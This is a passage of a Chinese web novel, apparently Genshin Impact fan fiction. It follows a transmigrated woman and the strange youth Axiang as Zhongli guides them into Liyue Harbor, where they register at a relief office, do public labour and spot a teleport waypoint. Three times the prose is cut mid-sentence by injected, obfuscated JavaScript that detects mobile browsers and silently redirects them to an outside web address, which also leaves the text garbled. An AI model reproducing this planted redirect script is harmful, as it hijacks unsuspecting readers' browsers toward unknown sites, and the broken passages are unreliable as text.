朗樾心里猫抓似的痒。她太想知道,他看着人们跪拜自己的神像,到底是什么感觉?但这话打死她也问不出口。只能含糊地“嗯”了一声,朝神像走去。 走到近前,神像的压迫感更具体了。她没有像阿响那样跪下,只是仰头望着那熟悉又陌生的威严面容。 日光有点刺眼。 片刻,她伸出手,指尖轻轻碰到神像底座。石头被晒得温热,触感粗糙坚实。 她知道,什么也不会发生。没有共鸣,没有提示,和在荒野里碰另一座七天神像时一样。 这石头只是石头。 神……就在她身后不远处站着。 阿响跪在旁边,抬起头看她,眼神里带着点困惑,好像不明白她为什么只是站着,为什么不拜。但他什么也没问,又低下头去。 朗樾收回手,掌心还留着石头的微温。她转身,走回钟离身边。 阿响也默默跟回来。 钟离收回视线,淡淡道:“根基未损,岩脉尚稳。虽形貌骇人,百年来却未曾真坠。走吧。” 他的话好像有种让人安心的力量。朗樾咽了口唾沫,不敢再看,跟着他往前走。 走过村子,爬上石阶。最后一级踩在脚下时,三人终于真正站上了这处至高点。 往前再走几十步,穿过这天然形成的隘口——视野毫无预兆地、彻底地豁然开朗! 浩荡的天风迎面扑来,吹得人衣袂猎猎作响。朗樾不由自主地屏住了呼吸。 下方,璃月港毫无保留地铺展在眼前。 依山而建的层层屋舍,从码头密集的桅杆和仓库,到半山错落的白墙灰瓦,再到更高处隐约可见的飞檐亭台,鳞次栉比,一直延伸到云雾缭绕的群山下。巨大的港口像弯月拥抱着碧蓝的海面,无数船只如细小的叶片点缀其间。更远处,孤云阁的轮廓隐约浮在海平面上。 午后的阳光为这一切镀上一层耀眼的金辉。海面碎金涌动,城市笼罩在淡淡的、充满生机的光霭里。 巍峨的群玉阁,像云端的仙宫,静静悬浮在港口对面的高空,投下庄严而遥远的影子。 这就是璃月港。提瓦特最繁华的商港,契约与财富之城。 朗樾怔怔地望着。一路的疲惫、彷徨,还有刚才的惊惧,在这一瞬间好像都被这磅礴的景象冲淡了。心里只剩下一片空茫的震撼。 阿响站在她旁边,同样望着下面的港城。脸上没什么表情,只是那双空茫的眼睛里,倒映着那片浩瀚的光海。 钟离立于岩屏之侧,天风鼓荡起他的衣袖和发梢。他静静地俯瞰着自己守护了千年的城市,岩金色的眸子里映着阳光下熠熠生辉的港口和远山,深邃平和,无喜无悲。 半晌,他才收回目光,看向仍在出神的两人。 “我们到了。”他说。声音融进浩荡的山风里,清晰而平稳。 —— 下行的路虽经过修整,颇为宽阔,但坡度着实不小。朗樾得时时控制脚步,小腿肌肉因持续紧绷而微微发抖。阿响跟在她后面,下坡好像比上山时更吃力,呼吸声清晰可闻。 只有钟离,步履依旧从容稳定,好像脚下的陡坡和平地没区别。 这段陡路终于结束,接上一段相对平缓的林荫道,让人能喘口气。 可没走多远,前面赫然又是一道极长的石阶,这次是向下延伸,没进更低处的薄雾和树影里。石阶古旧,边缘被岁月磨得圆润,在斜阳下泛着温润的光。 一步步踏下去,膝盖承受着和上山时不一样的压力。直到踏下最后一级, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307625|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双脚落在一块极开阔的、由巨大石板拼接铺成的平台上。 平台尽头,一座巍峨的木制牌楼拔地而起。异常高大,朱漆虽有些斑驳,气势却沉雄。 牌楼下,几个披甲执锐的千岩军正一丝不苟地核查着每个入城的人。队伍慢慢移动,气氛比之前山道关卡更肃穆。 轮到他们时,钟离再次取出路引和保书。核查的兵士显然更严谨,目光在文书和朗樾、阿响脸上来回扫了好几遍,又低声和同伴确认了保书上的往生堂印章,这才挥手放行。 穿过门廊,他们旋即走上了一座宏伟的木制拱桥。这桥像巨兽的脊梁,横跨在宽阔的水面上,连接着脚下的平台和对面那片让人屏息的繁华世界。 桥面极长,两侧是坚固的木质栏杆。走在上面,能感觉到木板微微的弹性,和下面水汽的升腾。桥下波光粼粼,映着对岸层层叠叠的亭台楼阁。 这一段路的视野最为壮阔。 左望,是无数的桅杆如林,等待入港的大小船帆。右望,是依山而起、直入云端的绯云坡和玉京台建筑群。而前方,港口对面的高空中,那座悬浮的宫殿正沐浴在金色的夕照里,流光溢彩,像神话直接投射到了现实。 “那就是……”朗樾看得入神,脱口而出,“……群玉阁?” 话一出口,她立刻意识到不对,心脏猛地一缩。 钟离的脚步几乎难以察觉地顿了一下。他侧过头,岩金色的眼眸平静地看向她。那目光不再仅仅是温和,好像多了一丝极淡的审视。 “哦?”他语调平稳,却带着一丝恰到好处的、像是单纯好奇的探究,“阿月姑娘……竟也知晓‘群玉阁’之名?” 朗樾脸有点热,急忙补救:“之前……在望舒客栈,听南来北往的客商说得多了,总说那是璃月港最了不得的景致,一眼就能认出……刚才瞧见天上那么大一座宫殿,就、就猜是不是……” 她语速有点快。理由听上去合理,却透着心虚。 钟离静静地听着,没反驳,也没表示相信。只是极轻微地点了点头,目光重新投向高处的群玉阁,语气恢复了惯常的平稳淡然:“原来如此。确为天权凝光之居所。初次得见,为其宏伟所摄,亦是常情。” 他的话像是接受了她的解释。但那片刻的停顿,和那句意味深长的“原来如此”,在朗樾心里投下一片挥之不去的薄影。 这段插曲很快被过桥后更汹涌的感官洪流淹没了。 双脚踏上对岸坚实的土地,才算真正撞进了璃月港的怀抱。 声浪、气味、色彩、人流……一切以倍增的强度袭来。码头的号子和轮轴的吱嘎声近在耳边,商贩的叫卖声此起彼伏。食物的香气从四面八方每一个缝隙里钻出来——刚出笼的蒸点甜香、热油煎炸的焦香、浓郁的酒香、清新的茶香,混合着海风的咸腥、货物的尘土气、还有人群本身温热的气息。 街道宽阔,但被熙攘的人流车马塞得满满当当。衣着各异的人摩肩接踵,语言各异,神情或匆忙或悠然。 阿响下意识贴紧了朗樾,脸色在斑驳的灯火下有点苍白,空茫的视线不断被快速移动的人影和晃眼的招牌打断。朗樾也本能地靠近了钟离,在这完全陌生、律动强劲的庞然大物里,只有这个身影能带来一丝脆弱的安定感。 他们随着人流移动,穿过规整繁华的街道。楼宇精巧,灯火通明。 直到地势微微一转,一阵更热烈喧嚣的声浪,带着诱人至极的复杂食物香气,涌了过来。 拐过街角,景象豁然一变。 粗犷的天然岩柱撑起连绵的木构楼台,无数红灯笼在渐暗的天色下点亮,勾勒出一片热闹非凡的广场。小吃摊热气蒸腾,人声鼎沸。“三碗不过港”的酒旗在晚风里招摇,临水的平台上坐满了畅饮谈笑的食客。 钟离在此处停下脚步。 “吃虎岩。” 他的声音清晰地传入朗樾耳中。 “璃月港烟火最盛之处。若要寻个暂时的落脚点,或尝些地道吃食,此地最为相宜。” 朗樾望着眼前这片沸腾的、活生生的、充满粗糙生命力的热闹景象。一路的颠簸、震撼,还有方才那片刻的心虚不安,好像都被这扑面而来的滚烫红尘气冲淡了些。 钟离转身,看向她和阿响。 “民生疏导处就在前方不远。”他指向广场西侧一条稍显安静的街道,“我们这就过去。” 21. 第 21 章 朗樾点点头,最后看了一眼吃虎岩喧嚣的夜景,深吸一口气,跟上了钟离的脚步。 璃月港在她身后继续热闹,灯火通明。 —— 钟离指的那条街,比吃虎岩主广场安静多了。 红灯笼的光晕到此为止,换成了两侧屋檐下挂着的方形风灯,光线稳定但有点冷清。路面也从粗粝的石板变成更平整的青砖,缝隙里没有油渍和食物渣,只有些积年的尘土。 街道不宽,两边多是挂着木牌匾的铺面,这个点大多已经打烊,门板关得严实。偶尔有一两家还亮着灯,隔着窗纸能看见里面伏案的身影,大概是算账的掌柜或者抄东西的文书。 空气里吃虎岩那股浓烈的食物香气淡了,只剩下夜晚微凉的空气,和隐约的墨味、纸味。 朗樾跟着钟离往前走,脚步不自觉放轻。阿响贴在她身侧,空茫的视线扫过那些紧闭的门,又收回来,盯着前头钟离岩金色的衣角。 她心跳有点快。 民生疏导处——听名字就知道是官家的地方。要登记,要问话,要留下记录。 她摸了摸腰间的摩拉袋。两千六百多摩拉,在璃月港这种地方,省着点用也许能撑十天半个月。可如果找不到工,坐吃山空,十天后呢? 钟离在一处门廊前停下。 一座三层的老式砖木楼,比周围铺面都高大些,但样式朴素,没太多雕饰。青砖灰瓦,门楣上挂着一块深色木匾,刻着“总务司民生疏导处”几个大字,漆有点斑驳。两扇木门虚掩着,门缝里透出灯光。 钟离抬手,敲了三下。 里面传来脚步声,门拉开一道缝。一个穿灰色棉布长衫、四十来岁的男人探出头,面容清瘦,眼神在昏黄灯光下有点疲惫。但看到钟离时,那疲惫里透出点讶异和恭敬。 “钟离先生?”他侧身让开,“这个时辰……快请进。” “文主管,今日是你留值?”钟离颔首,“打扰了。有两位初至璃月港的旅人,需办理登记,寻求疏导处协助。” 文主管目光扫过朗樾和阿响,在阿响脸上那点青痕上多停了一瞬,随即点头:“进来吧,外面凉。” —— 屋里比外面看着宽敞。 进门是个不大的前厅,靠墙摆着几张条凳,墙上贴着些告示和章程,字密密麻麻,朗樾一眼扫过去只觉头晕——她一个字也不认识。 正对门是一张长条桌案,堆着几摞册簿、笔墨砚台,还有一盏油灯,灯焰稳稳的,把桌案照得挺亮。 空气里有股陈年纸张和墨锭混着的味道,不刺鼻,但有种公事公办的疏离感。 文主管走到桌案后坐下,从笔架上取下一支笔,又翻开一本厚册子。动作不紧不慢,带着一种经年累月处理文书养出来的节奏感。 “姓名。”他抬眼看向朗樾,声音平稳,没多余情绪。 朗樾喉咙发干。“朗樾。”她听到自己说,声音比预想的稳一些,“也可以叫我阿月。” 文主管提笔,在册子上写了几笔。笔尖划过纸面的沙沙声,在安静的屋里格外清楚。 “这位是?”笔尖转向阿响。 阿响站在那儿,目光空茫地望着桌案上的油灯火焰,好像那跳动的光比眼前一切都更有趣。好一会儿,他才慢慢抬头:“阿响。” 文主管看他一眼,又写了几笔,然后抬头,目光在两人脸上来回扫。 “从何处来?因何至璃月港?” 来了。朗樾心脏猛地一缩。 必须沿用之前的说法——船难,失忆。这是在望舒客栈对千岩军、对所有人说过的话,不能改。 “我……”她深吸一口气,“我们的船在孤云阁附近遇难了。只有我活下来。在海滩上醒来时,很多事都不记得了,只记得自己名字。好不容易……辗转到了望舒客栈,遇到钟离先生,听说璃月港机会更多,就决定来讨生活。” 她说得慢,尽量让声音听起来迷茫无助。 文主管的笔悬在纸面上方,没立刻落。目光平静,却让朗樾觉得无处可躲。 “孤云阁船难……”文主管缓缓道,“近日确有报告。你是何时、如何到望舒客栈的?” “大概……十五六天前。”朗樾努力回忆,“在海滩上遇到一个老人,他告诉我往北走,说望舒客栈安全。我就一路走过去,在客栈……做了几天临时工。” “望舒客栈的临时工。”文主管重复,笔终于落下,在册子上快速写,“可有客栈开的证明?” 朗樾摇头:“没有……我是临时顶替别人,工钱日结的。” “他呢?和你一起遇难的?” 朗樾心跳漏了一拍。 这问题她没准备。阿响是望舒客栈的杂工,有客栈开的简单身份文书——过关卡时阿响说过“我有”。如果说两人一起遇难,那文书怎么解释?如果说不是,那他们什么关系? 电光石火间,她决定半真半假。 “不……不是。”她垂下眼,“阿响是……我在望舒客栈认识的。他是客栈杂工,对我挺照顾。这次听说我要来璃月港,就说……想一起来看看。” 文主管的目光在阿响空茫的脸上停了片刻。 阿响好像听到自己名字,视线从油灯上移开,直直看向文主管,点一点头:“是这样没错。” “……”文主管语气有了丝迟疑。阿响这反应确实跟一般人不太一样。眼神空,反应慢半拍,不像故意怠慢,倒像是……心思不在这儿,或者天生就这样。 朗樾犹豫了一下,说:“他……他不太会说话,也不太懂人情世故。但在客栈做事很认真,也勤快。主管都表扬过他。” 小小撒了个谎——她可不知道阿响有没有被表扬过。 文主管沉默片刻。油灯光在他脸上投下晃动的影。然后他轻轻叹了口气,笔尖落下,快速写起来。 “会什么手艺?”他问,语气依旧平稳。 “会洗衣,会熨烫。”朗樾赶紧说,“在望舒客栈洗衣堂做过。” 文主管点头,又写几笔。然后放下笔,从抽屉里取出两张空白纸笺,铺在面前。 “按章程,需有本地常驻人士或商号担保。”他看向钟离,“钟离先生愿为此二人担保?” 钟离一直安静站在旁边,此刻上前一步,从怀里取出那份往生堂路引,放在桌案上:“往生堂客卿钟离,愿为此二人担保。” 文主管仔细核验印章和文字,点点头,在那两张纸笺上提笔书写。字迹端正流畅,片刻即成。 然后把写好的纸笺推到朗樾面前。上面除了她刚报的信息,还有一行稍大的字,和一个红色印章。 “这是临时身份凭证。”文主管解释,“凭此可在疏导处登记范围内活动,接受救助,寻找工作。妥善保管,遗失补办麻烦。” 朗樾接过那两张纸。纸张粗糙,字迹清晰。她看不懂,只能小心折好,塞进最贴身的口袋。 —— “按疏导处章程,新登记人员需签订‘七日栖身契’。”文主管从另一本册子里取出一份格式化的契约文书,“契约期内,疏导处提供基本食宿——北街后巷的集体宿处,每日两餐。作为交换,需参与指定的公益劳动,每日不超过两个时辰。” 他把契约推到朗樾面前:“内容已写明,有疑问可提。” 朗樾看着那密密麻麻的字,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“既已登记在册,后续事宜,便按疏导处章程办理即可。”声音平稳如常,“璃月港虽大,规矩却明。谨言慎行,勤勉劳作,自有立足之地。” 他顿了顿,从怀里取出一枚小小的、刻着往生堂徽记的木牌,递给朗樾。 “此物可作信物。若有急事,可持此前往绯云坡往生堂,或往吃虎岩‘三碗不过港’留话,自会有人转达。” 朗樾怔怔接过木牌。入手温润,木质细腻,徽记雕刻得精致古朴。 她抬头看向钟离,心里涌起复杂情绪。 这一路,从望舒客栈到璃月港,是这个人在最危险的时候出手,是他为自己担保,是他带自己穿过那漫长的石阶和骇人的隘口,看到璃月港的磅礴,又走进这间民生疏导处。 游戏里,这是她最喜欢的角色。 如今,他是这诺大的璃月港里,她惟一认识的“人”。 现在,他要走了。 她应该松一口气——毕竟,离神明太近,秘密暴露的风险就越大。 可与此同时,一种更深的不安攥住了她。像一直拽着的浮木突然松手,虽然知道岸就在前方,却还是会在那一瞬间感到恐慌。 “多谢……钟离先生。”她低下头,声音很轻。 钟离微微颔首,又看向阿响。 阿响正茫然望着他,空茫的眼睛里映着油灯跳动的火焰。 “阿响小友,”钟离声音温和了些,“璃月港人烟稠密,与你惯常所处不同。若感不适,可多与阿月姑娘言说,或静心凝神,勿为外物所扰。” 阿响眨眨眼,似乎没完全听懂,但还是点了点头。 22. 第 22 章 你得去北边 钟离没再多说,朝文主管点点头,推门出去了。 岩金色的衣角消失在夜色里,木门轻轻合上。 屋里重新安静下来,只剩油灯燃烧的细微噼啪声。 文主管拿起那串钥匙:“走吧,宿处不远。” 北街后巷比前街暗多了。 没有悬挂的灯,只有两边住户窗缝里漏出的零星灯火,勉强照着脚下坑坑洼洼的石板路。空气里有股潮湿的霉味,混着夜露的凉意。 巷子深处,一座老仓库改的长条房子立在那儿。灰砖墙,窗户又高又小,蒙着厚厚的灰。 文主管用钥匙打开一扇厚木门,门轴吱呀一声,刺耳。 里面是个极大的通间,挑高很高,但空气闷。两侧靠墙是一排排简陋的木架床,上下铺,密密麻麻,像蜂巢。这会儿时辰晚了,大多数铺上都有人,或躺或坐,影影绰绰看不清脸,只能听见压抑的咳嗽声、翻身时床板的嘎吱声、还有低低的、含混的梦呓。 空气浑浊,汗味、体味、陈年灰尘混在一起。 文主管带他们走到最靠里的角落,两个相邻的空铺,都是下铺。床板上铺着薄薄的草席,扔着一床颜色晦暗、看不出原本颜色的薄被。 “就这儿。”文主管压低声音,好像不想打扰别人,“被褥每半月可至前院浆洗房换一次。每日辰时、酉时,前院有餐食发放,过时不候。用水在后院井边,自己打。规矩都贴在进门墙上,自己看。” 他递给朗樾一把小钥匙,“这是你们柜格的钥匙,贵重东西锁里头。” 说完点点头,转身走了。脚步声在空旷的屋子里回荡,越来越远,最后被门合上的声音切断。 朗樾站在那儿,看着眼前这“新家”。 阿响已经走到一张床边,伸手摸了摸那床薄被,又抬头看向她。空茫的眼睛在昏暗光线里几乎看不见。 她忽然想起文主管看阿响的眼神。 那种眼神她懂——觉得他反应慢,不善言辞,多半以为他脑子有问题。 可她知道不是。阿响其实挺聪明,只是他看见的、听见的,跟别人都不一样。 但不是每个人都愿意花时间去了解这样一个少年。 她带他来璃月港,到底是对是错?这里机会是大,可竞争也更大。 她摸了摸怀里那两张纸——临时身份凭证。又摸了摸腰间那个瘪下去的摩拉袋。 得尽快找到工作。 远处不知哪个铺位传来一阵剧烈的咳嗽,撕心裂肺,在夜里格外刺耳。有人翻身,床板发出不堪重负的嘎吱声。更远处,有压抑的、像动物呜咽的低泣。 朗樾躺下来。草席粗糙,硌着后背。她睁着眼,望着头顶上方空荡荡的床板,木板纹路在昏暗光线下扭成怪异的形状。 阿响也躺下了,面朝她这边。 “阿响。”她极轻地叫了一声。 阿响睫毛动了动,视线慢慢聚焦,看向她。 “我们会找到工的。”朗樾说,声音轻得几乎听不见。不知道是说给他,还是说给自己,“一定会的。” 阿响没答。只是看着她,看了很久。 然后突然开口:“去北边。” ! 她猛地转头。 北边——蒙德。 从望舒客栈开始,他就一直在说。一遍又一遍:你该去蒙德。 为什么?是他自己想去?可他说的不是“带我去”,也不是“跟我去”。他只是反复告诉她:你该去蒙德。 她甚至有种错觉——他一路跟来,就是为了反复提醒她这件事。 这个念头让她心底发寒。 “阿响。”她忍不住又叫了一声。 没回应。 她把问题咽了回去。不是时候。这地方人多耳杂。而且问了,他能答出什么?大概又是那句“去北边”,或者用那双空茫的眼睛看着她,好像她问了个多蠢的问题。 阿响…… 她在心里默念这个名字,回想从认识到现在,他的一言一行。 什么时候睡着的,不知道。 —— 远处传来沉闷的钟声,穿透了集体宿处厚重的墙。 她惊醒。 新的一天。 朗樾坐起身,愣了会儿神。草席粗糙的触感透过衣服传来。 啊,到璃月港了。 她揉了揉干涩的眼睛,开始穿鞋。动静惊醒了阿响,他睫毛颤了颤,睁开眼,空茫的视线慢慢聚焦,落在她脸上。 “该起来了。”朗樾低声说,“领早饭,然后……该去干活了。” 按“七日栖身契”的规定,从今天起,每天要干两个时辰的公益劳动。 前院已经排起队。几十个人,男女老少,大多衣衫褴褛,面容疲惫或麻木。队伍慢慢往前挪,空气里飘着稀粥的寡淡米香,还有饼子烤焦的微糊味。 轮到朗樾时,一个大木桶后站着脸面无表情的妇人,用长柄木勺舀起一勺稀得能照见人影的粥,倒进朗樾递过去的粗陶碗里。又从旁边箩筐里抓了个巴掌大、颜色晦暗的硬饼,扔在粥面上。饼子沉了一下,又浮起来,边缘浸了粥,看着更没食欲了。 阿响跟在她后面,也领了一份。两人找了个角落,蹲下吃。 粥几乎就是米汤,几粒米沉在碗底。饼硬得像石头,朗樾用力咬了一口,牙硌得生疼。只能掰碎了泡粥里,等软了再吃。没什么味道,就是能填点东西进肚子。 她一边吃一边在心里算:这一顿省了。晚上还有一顿。一天两顿都省,七天就是十四顿。要自己买,最便宜的也得一百摩拉一顿,十四顿就是一千四。 省了一千四。 这个数让她心里稍微踏实了点。但随即又想——疏导处提供的只是最基本的生存保障,稀粥硬饼只能让人不饿死,谈不上营养。而且省的是省下的,不是赚来的。七天后还找不到工作,这点钱能撑多久? —— 吃完早饭,按文主管昨天的交代,去前院找当值干事安排今天的活。 前院比晚上宽敞些。靠墙摆着几排条凳,已经坐了人,都在等分配任务。 正对门那张长条桌案后,坐的不是文主管,是个五十来岁、身材魁梧、嗓门挺大的男人。 “新来的?”男人抬头看他们一眼,声音大得朗樾耳朵嗡嗡响,“叫什么?” “朗樾,阿响。” 男人翻开册子扫了一眼,点点头。“我叫石锁,这儿的执行干事。今天你们的活——”他指指墙角那堆竹扫帚和铁锹,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307627|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后巷那条路,扫干净,垃圾运到指定点。两个时辰,干完回来报到。” 语气干脆利落,不容商量。周围人都对他挺敬畏,没人敢大声说话。 “是。”朗樾应了一声,过去拿扫帚。阿响也学她,拿了一把。 石锁补了句:“好好干,别偷懒。疏导处的规矩,干得好,有合适的活优先考虑。” 朗樾心里一动。她点点头,拉着阿响出了门。 后巷比前街暗多了,也窄。 路面坑坑洼洼,积着前夜的雨水,混着垃圾和淤泥,一股难闻的味。两边墙斑驳,长着厚厚的青苔。 朗樾开始扫地。竹扫帚重,扫起来费劲,但她不敢偷懒。 阿响在旁边,动作慢,但一下一下很认真。 扫了约莫半个时辰,朗樾手臂发酸,额头冒汗。她直起身擦汗,看向阿响。 他还在扫,眼神盯着地面,好像这重复单调的活对他没有任何困难——也没有任何意义。 “阿响。”她叫了一声。 他抬头。 “你昨天说……去北边,就是蒙德。”她犹豫了一下,还是问出口,“为什么一直想让我去?” 阿响眨眨眼,想了会儿,慢慢说:“不知道。那个方向的光不一样,比这里更亮,跟你身上的有一点点像……有个声音也是这么跟我说的。” 朗樾手里的扫帚“啪嗒”掉地上。 她浑身一激灵,后颈汗毛全炸起来。 “……什么声音?”她压着嗓子,喉咙发紧。 “不知道。”阿响摇头,眼神依旧空茫,“就是……声音。很轻,有时候有,有时候没有。” “在望舒客栈的时候就有?” 阿响想了想,点头。“在客栈的时候,听不清。离开客栈,就能听清了。前两天没说话,昨天,它又说了。” 朗樾不说话了。 她看着阿响那张没什么表情的脸,心里像突然被塞了块冰,又冷又沉,直往下坠。 这小子…… 他到底…… 有那么一瞬间,她真想离他远远的,越远越好。 可她跑不了。 她不知道这到底怎么回事,阿响身上有什么古怪。但看着他那双空茫茫的眼睛,她没法就这么丢下他。 再说了,跑就有用吗?那声音要是真冲她来的,跑哪儿都一样? “如果我们……”她吸了口气,尽量让声音稳下来,“我是说,如果我真去了北边,去了蒙德,然后呢?你知道到了之后要做什么吗?” 阿响茫然地看着她,好像不明白这问题。 “然后……就到了。” “到了之后呢?” “……不知道。” 朗樾扯了扯嘴角,想笑,只挤出一个干涩的弧度。 是啊,然后呢?阿响不知道。她也不知道。 他们就像两只被一根看不见的线拴着的鸟。线那头是谁在扯,要扯去哪儿,一概不知。 “我不会去的。” 她最终这样说。 声音不高,但很清晰。 说给阿响听,也说给自己听。 更像是——对着那可能存在的、操控着阿响说这些话的“声音”,宣告。 23. 第 23 章 第二个锚点 重新拿起掉在地上的扫帚,她弯下腰,继续一下一下地扫。竹枝刮过湿黏地面的沙沙声,在后巷里单调地重复着,盖过她有些过快的心跳。 阿响听了她的话,没什么反应。只是重新低下头,继续扫地,好像刚才那番话和扫地一样,都是另一件需要完成的事。 两个时辰后,他们回到疏导处前院。 石锁检查了他们扫过的路段,点点头,在册子上记了一笔。“行了,今天到此为止。明天辰时,再来领任务。” “石锁干事,”朗樾鼓起勇气问,“关于找工作……疏导处真的会帮忙留意吗?” 石锁看了她一眼,眼神锐利。“会。但前提是,你得值得帮。” 他顿了顿。 “文主管交代了,你们的情况特殊。不识字,对璃月港不熟悉,体力也一般。这样的条件,想找正经工作,难。” 朗樾的心往下沉了沉。 “不过,”石锁话锋一转,“疏导处不是慈善堂,是帮人自立的地方。既然签了‘七日栖身契’,就得按契约精神来。我们会尽力,但你们也得尽力。” 他从桌案抽屉里取出一张纸。 “这是今天收集到的零工信息。码头需要临时搬运工,但要求力气大;吃虎岩有家茶馆需要洗碗工,但要求手快;绯云坡有户人家需要洗衣工,但要求识字记账。” 他把纸推到朗樾面前。 “你自己看,哪些适合你。” 朗樾看着那张纸。密密麻麻全是字,她一个都不认识。 “……我不识字。”声音低得几乎听不见。 石锁皱了皱眉。“不识字,连招工信息都看不懂,怎么找工作?” 他叹了口气。 “这样吧,明天开始,除了公益劳动,你们每天抽一个时辰,去后院找明伯。他是我们这儿的常驻顾问,退休的账房先生,识字,可以教你们基础认字和算术。” 朗樾眼睛一亮。“真的?” “疏导处的规矩:‘契以立信,工以安生,心以归港’。”石锁声音依旧洪亮,但语气缓和了些,“光给饭吃不够,得让人有自立的能力。识字是最基本的。学不学得会,看你自己。” “我学!”朗樾赶紧说,“我一定认真学!” 石锁点点头。“那就这样。今天先回去休息吧。明天辰时,准时到。” —— 离开疏导处,朗樾没直接回集体宿处。她带着阿响,决定去石锁说的那几个地方看看。虽然知道希望渺茫,但还是想试试。 码头在午后阳光下格外繁忙。货船进进出出,工人号子声震天。朗樾找了个工头,问要不要临时工。 工头上下打量她,嗤笑一声:“你?搬货?省省吧,别把货摔了。” 吃虎岩的茶馆里,掌柜正在算账。听说朗樾想应聘洗碗工,头也不抬:“手快?多快?我们这儿高峰期,一刻钟要洗五十个碗。你做得到吗?” 朗樾想象了一下那个速度,摇摇头。 绯云坡那户人家的管家更直接:“识字吗?会记账吗?不会?那不行。我们家的衣物都是贵重料子,洗坏了赔不起,账目更不能错。” 三次尝试,三次失败。 每一次拒绝的理由都像一把锤子,敲在她心上。文盲。体力不足。对璃月港不熟悉。技能单一。 她第一次这么清晰地意识到,在这个世界,她是个彻头彻尾的“残次品”。没有知识,没有技能,没有根基,连最基本的生存能力都这么薄弱。 阿响一直默默跟在她身后。在码头时,他蹲在一边看海鸥;在茶馆时,他盯着茶客杯里的茶叶发呆;在绯云坡时,他仰头望着高墙上的藤蔓。 回宿处的路上,夕阳把他们的影子拉得很长。朗樾走得很慢,每一步都沉得像灌了铅。 “阿响,”她声音沙哑,“我们……明天开始学识字。” —— 第二天一早,天还没亮透,朗樾就被饿醒了。 宿处里鼾声此起彼伏,空气浑浊。她翻来覆去躺了会儿,实在躺不住,干脆起床去推醒阿响。两人摸黑收拾好,排到了领早饭的长队里。 好不容易领到早饭——跟昨天一样,一碗能照见人影的稀粥,半个硬得硌牙的粗面馒头。朗樾几口喝完粥,小口啃着馒头。胃里非但没踏实,那点稀汤寡水反而勾起了更深的饿。阿响也默默吃着,把剩下的半个馒头仔细包好。 再去前院时,那里已经聚了五六个人,石锁正站在中间说着什么。朗樾拉着阿响站到人群末尾。 “今天去绯云坡,玉京台下面那片老巷子,”石锁目光扫过每个人,声音洪亮,“有几段排水沟堵了,得疏通。活儿脏,但管一顿晌午饭。愿意去的,站到这边来。” 管晌午饭! 朗樾几乎没犹豫,拉着阿响就往前站了一步。旁边几个人也纷纷挪动脚步。石锁点了点人数,点点头:“行,就你们几个。等会儿跟小孙一起走,听他的安排。” 他身后站出来一个大约二十六七的青年人,招呼着出列的人去拿工具。这大概就是小孙了,多半也是疏导处的工作人员。 一行人跟着孙干事穿过清晨的街道。吃虎岩的喧嚣还没完全醒来,只有零星几个早起的摊贩在生火。朗樾一边紧跟着前面的人,一边忍不住打量清晨的吃虎岩。 很快到了三碗不过港。 平台中间有个圆形的荷花池,池中荷花正开得坦荡热烈,边缘的荷叶却已偷偷蜷起一丝焦黄的倦意。朗樾不甚在意地扫了一眼,正要收回目光—— 她猛地立住脚,害后面的阿响差点撞到她背上。 左手边,一株极高极大的树,树冠几乎遮住附近房屋的半边屋顶。树下,赫然立着一个熟悉的、泛着淡淡微光的奇异构造—— 一个尚未激活的传送锚点! 朗樾心跳砰砰加速。 她紧紧拽住阿响,指着那锚点,憋了半天没说出一个字——这里居然有个锚点! 不对,这里确实应该有个锚点。 她忽然意识到这是哪儿了。游戏里璃月港合成台旁边不就有个锚点吗?就在三碗不过港斜对面的吃虎岩公告栏旁边。前天跟钟离经过这儿时人太多,她压根没注意。这会儿早上人少,可不就看见了。 然而阿响顺着她手指的方向看过去,目光落在那棵大树下,脸上却没什么变化。他眨了眨眼,又认真地看了看,然后茫然地转向朗樾,显示不懂是什么让她激动。 “树下的东西,你能看见吗?”朗樾忽然意识到,也许锚点这个东西真的不是每个人都能看见。 阿响摇摇头。 “空的。”他说。 “阿月?阿响?”前面传来孙干事的喊声,带着催促,“怎么了?快跟上,别掉队。” 朗樾猛地回神,先压下心里的惊涛骇浪,冲那边应了一声:“就来!” 她拉起阿响,快步追上队伍。 整个上午,她都在绯云坡的老巷子里埋头干活。疏通排水沟的活又脏又累,淤泥混着腐叶的气味直冲脑门,铁锹挖下去,溅起的污水弄脏了衣摆。朗樾一声不吭,干得很是认真。 可心思早就飘远了。那锚点……回去的时候,她一定得去看看! 等活全部干完,已是午时末,孙干事让人挑来一担饭菜。两个大木桶,一桶是热腾腾的糙米饭,一桶是炖菜,里头居然有几块肥肉。所有人都围了过去,各自用粗陶碗盛了饭,浇上菜,蹲在墙根下大口吃起来。 朗樾端着碗,看着碗里冒着热气的饭菜,眼眶有点发酸。 这是她到璃月港后吃的第一顿像样的热乎饭。 她扒了一口,米饭粗糙,但嚼起来有谷物的香甜。炖菜咸淡刚好,那几块肥肉入口即化,满嘴油香。 阿响坐在她旁边,也吃得极快。 